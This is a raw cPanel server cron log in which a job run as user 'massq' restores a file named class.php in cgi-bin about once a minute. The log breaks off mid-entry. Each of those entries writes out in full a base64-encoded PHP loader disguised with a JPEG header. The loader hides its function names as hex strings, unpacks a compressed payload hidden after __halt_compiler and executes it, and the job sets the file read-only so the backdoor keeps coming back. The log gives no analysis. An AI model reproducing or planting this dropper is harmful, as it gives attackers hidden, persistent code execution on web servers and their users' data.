Sep  7 04:08:01 server CROND[20387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:09:01 server CROND[20774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:09:01 server CROND[20775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:09:01 server CROND[20776]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 04:09:01 server CROND[20777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:10:01 server CROND[21177]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:10:01 server CROND[21178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:10:01 server CROND[21180]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:10:01 server CROND[21188]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:10:01 server CROND[21191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:10:01 server CROND[21187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:10:01 server CROND[21189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:10:01 server CROND[21190]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:11:01 server CROND[22122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:11:01 server CROND[22123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:11:01 server CROND[22124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:12:01 server CROND[22494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:12:01 server CROND[22495]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 04:12:01 server CROND[22496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:12:01 server CROND[22500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:13:01 server CROND[23020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:13:01 server CROND[23038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:13:01 server CROND[23043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:14:01 server CROND[23732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:14:01 server CROND[23733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:14:01 server CROND[23734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:15:01 server CROND[24434]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:15:01 server CROND[24435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:15:01 server CROND[24442]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:15:01 server CROND[24448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:15:01 server CROND[24455]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 04:15:01 server CROND[24458]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 04:15:01 server CROND[24456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:15:01 server CROND[24454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:15:01 server CROND[24453]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 04:16:01 server CROND[25380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:16:01 server CROND[25382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:16:01 server CROND[25381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:17:01 server CROND[25756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:17:01 server CROND[25757]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep  7 04:17:01 server CROND[25755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:17:01 server CROND[25758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:17:23 server run-parts(/etc/cron.daily)[26025]: finished imunify-antivirus.cron
Sep  7 04:17:23 server run-parts(/etc/cron.daily)[2728]: starting logclean
Sep  7 04:17:23 server run-parts(/etc/cron.daily)[26037]: finished logclean
Sep  7 04:17:23 server run-parts(/etc/cron.daily)[2728]: starting logrotate
Sep  7 04:17:24 server run-parts(/etc/cron.daily)[26048]: finished logrotate
Sep  7 04:17:24 server run-parts(/etc/cron.daily)[2728]: starting maldet
Sep  7 04:18:01 server CROND[26768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:18:01 server CROND[26769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:18:01 server CROND[26770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:19:01 server CROND[27151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:19:01 server CROND[27153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:19:01 server CROND[27152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:20:01 server CROND[27536]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 04:20:01 server CROND[27538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:20:01 server CROND[27539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:20:01 server CROND[27552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 04:20:01 server CROND[27556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:20:01 server CROND[27559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 